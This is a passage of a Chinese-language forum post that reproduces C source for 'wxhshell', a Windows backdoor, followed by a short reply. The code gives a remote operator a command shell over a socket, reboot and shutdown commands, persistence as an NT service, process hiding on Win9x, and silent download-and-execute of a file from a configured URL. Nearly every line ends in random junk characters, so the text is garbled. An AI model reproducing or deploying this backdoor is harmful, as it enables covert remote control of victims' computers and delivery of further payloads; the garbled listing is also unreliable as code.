  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6,"IDH|ND  
  else =CK4.   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5j:0Yt  
  } +~'865{  
  else { wQv'8A_}  
ie;]/v a  
    switch(cmd[0]) { R#xCkl-  
  UQ8M~x5$3%  
  // 帮助 `k OD[*  
  case '?': { y]2qd35u_A  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'HT7_$?*  
    break; P.6nA^hXB  
  } 5 elw~u  
  // 安装 E_Im^a  
  case 'i': { U3 */v4/  
    if(Install()) @*}D$}aR'V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qgE 73.!`6  
    else wDcj,:h`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vK 7^*qr;j  
    break; HqI t74+  
    } $>*3/H  
  // 卸载 _Bj)r}~7#  
  case 'r': { `o<' x.I  
    if(Uninstall()) =2[7 E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >QA uEM  
    else )_1zRT|9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =2Bg9!zW>  
    break; JQ}$Aqk  
    } >GQEqXs  
  // 显示 wxhshell 所在路径 L~_9_9c  
  case 'p': { Z= jr-)kK  
    char svExeFile[MAX_PATH]; g$( V^  
    strcpy(svExeFile,"\n\r"); qi;f^9M%  
      strcat(svExeFile,ExeFile); OH;b"]  
        send(wsh,svExeFile,strlen(svExeFile),0); D0gZC  
    break; ~ }F{vm  
    } dArDP[w  
  // 重启 RD\  
  case 'b': { km)zMoE{c{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zfI>qJ+Nqt  
    if(Boot(REBOOT)) 8'~[pMn`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k9)jjR*XxG  
    else { 6Pnk5ps }h  
    closesocket(wsh); < XP9@t&  
    ExitThread(0); 'pm2n0  
    } m6n?bEl6I  
    break; wm]^3q I2  
    } MG[o%I96  
  // 关机 Ne#WI'  
  case 'd': { $P>`m$(8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ${+ @gJ+S  
    if(Boot(SHUTDOWN)) cU0s p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9[1`jtm  
    else { 3mYiQ2  
    closesocket(wsh); gfsI6/Y  
    ExitThread(0); EG0WoUX|  
    } u1t% (_h  
    break; |o,8V p  
    } vLR~'" `F  
  // 获取shell k9$K}  
  case 's': { SfgU`eF%B  
    CmdShell(wsh); eAX )^q  
    closesocket(wsh); [P Q?#:r  
    ExitThread(0); 7s"< 'cx_F  
    break; VS9`{  
  } 3BB%Z 6F  
  // 退出 uIcn{RZ_z  
  case 'x': { A'G66ei  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); " Om[~-31  
    CloseIt(wsh); Y3r%B9~  
    break; C K:y?  
    } Yiry["[]Q  
  // 离开 T _sTC)&a  
  case 'q': { :/:.Kb  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8aO~/i:(.  
    closesocket(wsh); s_x:T<]  
    WSACleanup(); s4 6}s{6   
    exit(1); =:DaS`~V  
    break;  -QOw8vm  
        } {LX.iH9}l  
  }  Mu2  
  } Sl-v W  
4Fp0ZVT  
  // 提示信息 &C_' p{G  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AFc$%\s4  
} ZQ)>s>-  
  } &8%e\W\K:/  
Y]{ >^`G  
  return; Swp;HW7x  
} |AcRIq  
fRy^Q_~,  
// shell模块句柄 -:30:oq  
int CmdShell(SOCKET sock) ~n[xtWO0  
{ ox:[f9.5  
STARTUPINFO si; +x_Rfk$fb  
ZeroMemory(&si,sizeof(si)); {.Z}5K  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5WC+guK7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [|P!{?A43|  
PROCESS_INFORMATION ProcessInfo; A;/-u<f  
char cmdline[]="cmd"; f8M$45A'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p!sWYui  
  return 0; `!D s6  
} CamE'  
1QmH{jM  
// 自身启动模式 T.Ryy"%F  
int StartFromService(void) U>V&-kxtV  
{ >=UF-xk;  
typedef struct w=LP"bqlI  
{ _^el\  
  DWORD ExitStatus; 0$7s^?G0  
  DWORD PebBaseAddress; COTp  
  DWORD AffinityMask; 8<.C3m 6h  
  DWORD BasePriority; 66.5QD0  
  ULONG UniqueProcessId; 0j30LXI_  
  ULONG InheritedFromUniqueProcessId; T/^Hz4uA7  
}   PROCESS_BASIC_INFORMATION; Jrg2/ee,*  
)dY=0"4Z  
PROCNTQSIP NtQueryInformationProcess; w" SoeU  
%=?cZfFqO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pY_s*0_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _Qh z3'I1  
?T>'j mmV=  
  HANDLE             hProcess; z;A>9vQ_J  
  PROCESS_BASIC_INFORMATION pbi; Vs%|pIV  
QmLF[\Oo_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); krsYog(^z  
  if(NULL == hInst ) return 0; M7ers|&{  
0PU8 #2pR  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ([-|}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z^]|o<.<I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); UJfEC0  
YqPQ%  
  if (!NtQueryInformationProcess) return 0; ;]gP@h/  
oqLfesV~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -RS7h  
  if(!hProcess) return 0; OCZ[D{i9@  
taFn![}/!g  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s<9RKfm  
}0u8r`  
  CloseHandle(hProcess); 4hAl-8~Q6  
O!Oumw,$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :um|nRwy9  
if(hProcess==NULL) return 0; X{we/'>  
6B@CurgB  
HMODULE hMod; YO}1(m  
char procName[255]; wjh=Q  
unsigned long cbNeeded; 'ihhoW8  
td4[[ /  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &}?$i7x5  
;5tazBy&:C  
  CloseHandle(hProcess); zo[[>MA  
^| /](  
if(strstr(procName,"services")) return 1; // 以服务启动 W?eu!wL#p  
}~"hC3w  
  return 0; // 注册表启动 x_c7R;C  
} %I-+Ead0i  
F B?UZ  
// 主模块 ;Ra+=z}>  
int StartWxhshell(LPSTR lpCmdLine) _R.B[\r@  
{ 8F:e|\SB#  
  SOCKET wsl; HcedE3Rg  
BOOL val=TRUE; 6_d.Yfbq  
  int port=0; wKi^C 8Z2  
  struct sockaddr_in door; $KLD2BAL  
I!>\#K  
  if(wscfg.ws_autoins) Install(); {X[ HCfJd  
Ux#x#N  
port=atoi(lpCmdLine); Qt,M!i,  
HAv{R!*  
if(port<=0) port=wscfg.ws_port; "=6v&G]U4  
E\IlF 6  
  WSADATA data; @BrMl%gV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x7vctjM|  
u`olW%C/T  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q>R>R*1.j  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F29v a  
  door.sin_family = AF_INET; E@-KGsdhK  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %e`$p=m  
  door.sin_port = htons(port); 5Q 'i2*j  
zfwS  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sf]s",t~J  
closesocket(wsl); \EKU*5\Hp>  
return 1; CBDG./  
} {5d9$v7k4  
Xe#K{gA  
  if(listen(wsl,2) == INVALID_SOCKET) { (`6T&>(4  
closesocket(wsl); 9elga"4:'  
return 1; _>=L>*  
} f{"8g"[[)(  
  Wxhshell(wsl); 'Fs)Rx}\0  
  WSACleanup(); KAsS [  
*1 G>YH  
return 0; p_UlK8rb  
@&]#uRl|[  
} <L{(Mj%Z  
8ZCoc5  
// 以NT服务方式启动 [tg^GOf '  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &z]K\-xp  
{ lip[n;Ir>  
DWORD   status = 0; 8[|UgI,>z  
  DWORD   specificError = 0xfffffff; 4n %?YQ[t  
kKPi:G52F  
  serviceStatus.dwServiceType     = SERVICE_WIN32; W`"uu.~f  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +uBLk0/)>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 01T`Flz  
  serviceStatus.dwWin32ExitCode     = 0; M;0]u.D*=  
  serviceStatus.dwServiceSpecificExitCode = 0; fZxIY,  
  serviceStatus.dwCheckPoint       = 0; n.sbr  
  serviceStatus.dwWaitHint       = 0; fM #7y [  
UG'bOF4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Wm H~m k"  
  if (hServiceStatusHandle==0) return; F  q!fWl  
k{VE1@  
status = GetLastError(); ?6nF~9Z'  
  if (status!=NO_ERROR) y$3;$ R^  
{ $5v0m#[^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; dJv!Dts')C  
    serviceStatus.dwCheckPoint       = 0; 'S2bp4G  
    serviceStatus.dwWaitHint       = 0; ,ZQZ}`x(  
    serviceStatus.dwWin32ExitCode     = status; <BO)E(  
    serviceStatus.dwServiceSpecificExitCode = specificError; !r`,=jK"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); P_c,BlfGMH  
    return; oW^*l#v  
  } gORJWQv  
\`ZW* EtPI  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]r3Kg12Mi  
  serviceStatus.dwCheckPoint       = 0; RZe'Kw -  
  serviceStatus.dwWaitHint       = 0; V97,1`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [w\9as/ E  
} mKT>,M  
p-%|P ]&  
// 处理NT服务事件,比如:启动、停止 }gkM^*$:%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6G}+gqbX  
{ DfV~!bY  
switch(fdwControl) L{E^?iX  
{ 0<PR+Iv*i  
case SERVICE_CONTROL_STOP: >|6iR%"f#  
  serviceStatus.dwWin32ExitCode = 0; U:MPgtwe  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G60R9y47c  
  serviceStatus.dwCheckPoint   = 0; 4CQ"8k(S"  
  serviceStatus.dwWaitHint     = 0; w nTV|^Q  
  { lNv".Y=l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $7QoMV8V  
  } zE)~0v4  
  return; a=XW[TY1  
case SERVICE_CONTROL_PAUSE: hk/! 'd  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1xU3#b&2tC  
  break; 6{ ,HiY  
case SERVICE_CONTROL_CONTINUE: En&5)c+js4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; k'$!(*]\b  
  break; bln/1iS  
case SERVICE_CONTROL_INTERROGATE: q~L^au8  
  break; w_ {,<[#  
}; ~Ph\Sbp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K^rIG6  
} -dv %H{  
AH4EtZC=W  
// 标准应用程序主函数 -`f04_@>d  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _U{([M>;  
{ W5/0`[4  
(_r EAEo  
// 获取操作系统版本 kAM1TWbaVQ  
OsIsNt=GetOsVer(); <`!PCuR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .)|a2d ~F  
G pbC M~x  
  // 从命令行安装 cECi')  
  if(strpbrk(lpCmdLine,"iI")) Install(); htm{!Z]s0  
q> s-Y|  
  // 下载执行文件 rdnRBFt   
if(wscfg.ws_downexe) { CSV;+,Vv  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +,50q N:%[  
  WinExec(wscfg.ws_filenam,SW_HIDE); {B*W\[ns  
} 0F#>CmD  
4f~["[*ea  
if(!OsIsNt) { #k<":O  
// 如果时win9x,隐藏进程并且设置为注册表启动 _MWM;f`b  
HideProc(); j#0j)k2Q  
StartWxhshell(lpCmdLine); O:#+%  
} M=xQ=j?  
else +>7$4`Nb2  
  if(StartFromService()) Y${l!+q  
  // 以服务方式启动 O[9-:,B{w  
  StartServiceCtrlDispatcher(DispatchTable); }j1!j&&  
else IMnP[WA!  
  // 普通方式启动 M[~{Vd  
  StartWxhshell(lpCmdLine); _ nP;Fx  
#'OaKt?Z)  
return 0; xt4)Ya  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八